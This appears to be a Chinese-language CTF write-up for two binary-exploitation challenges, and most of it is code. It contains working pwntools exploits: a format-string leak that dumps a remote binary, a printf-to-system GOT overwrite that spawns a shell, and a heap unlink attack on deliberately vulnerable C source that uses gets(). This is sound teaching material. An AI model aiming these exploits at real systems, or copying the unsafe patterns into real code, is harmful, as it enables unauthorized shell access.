# [*] Found format string offset: 7

然后通过格式化字符串漏洞leak出内存中的bin文,默认加载地址(no pie)32位0x8048000(64位0x400000).

from pwn import *
#context.log_level = 'debug'
p = remote('172.16.29.145', 10001)
#def leak(payload):
#    p.sendline(payload)
#    return p.recv()

#auto = FmtStr(leak)
#log.success(auto.offset)

def dump(addr):
    payload = ""
    for x in xrange(5):
        try:
            payload = "AAA%10$sBBBB"+p32(addr)
            if '\x0a' in payload:
                return '\xff'
            p.send(payload)
            data = p.recv(timeout=3)
            if data:
                start = data.find("AAA")+3
                end = data.find("BBBB")
            result = data[start:end]
            if result == "":
                return '\x00'
            else:
                return result
            return '\xff'
        except EOFError:
            log.waring("excpet ", exec_info = sys.exc_info())
    return '\xff'

def create():
    base=0x8048000
    leaked = ""
    while len(leaked) < 8000:
        address = base+len(leaked)
        if len(leaked) == 0x74b:
            sleep(1)
        tmp = dump(address)
        leaked += tmp
        log.info(hexdump(leaked))
        with open('elf','wb') as f:
            f.write(leaked)
create()

对dump出的文简单分析恢复其main函数




确定到got起始地址为0x804a000
然后leak确定libc版本与libc地址
改printf got表为system地址即可
exp:

from pwn import *

p = remote('39.98.246.99', 10039)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
payload = "%8$s"+p32(0x804a010)
p.sendline(payload)
libc.address = u32(p.recv(4))-libc.sym['printf']
p.recv()
payload = fmtstr_payload(7,{0x804a010:libc.sym['system']})
p.send(payload)
p.send('/bin/sh')
p.interactive()
#include <stdio.h>
#include <stdlib.h>

typedef struct Chunk 
{
    struct Chunk * fd;
    struct Chunk * bk;
    char data[16];

} chunk;
void dosomething()
{
    system("/bin/sh");
}

void unlink(chunk * p)
{
    chunk * FD = p->fd;
    chunk * BK = p->bk;
    FD->bk = BK;
    BK->fd = FD;
}

void pwn_init()
{
setbuf(stdin,0);
setbuf(stdout,0);
alarm(60);
}

int main()
{
	pwn_init();
malloc(1024);
    chunk * a = malloc(sizeof(chunk));
    chunk * b = malloc(sizeof(chunk));
    chunk * c = malloc(sizeof(chunk));

    a->fd = b;
    b->bk = a;
    b->fd = c;
    c->bk = b;

    printf("gift: %p %p\n", a, &a);
    
    gets(a->data);
    unlink(b);
    return 0;
}

重点在于如何将代码段的地址写到返回地址,发现返回地址最后来源于[ecx-4],所以构造[ecx-4]=dosomething地址即可

exp:

from pwn import *

filename = "./myunlink32"
elf = ELF(filename)
#p = process(filename)
p = remote("39.98.246.99",10042)
a = p.recvline().split(' ')
t16 = lambda x: int(x,16)
heap,stack = map(t16,a[1:])
#gdb.attach(p,'b unlink\nc\n')
payload = p32(0x804856b)*6 + p32(stack+12) + p32(heap+12)
p.sendline(payload)

p.interactive()

最终排名

题目:

https://yunpan.360.cn/surl_yumR7sIvZut

选手wp

各位师傅的 wp:https://yunpan.360.cn/surl_yumRad79FAV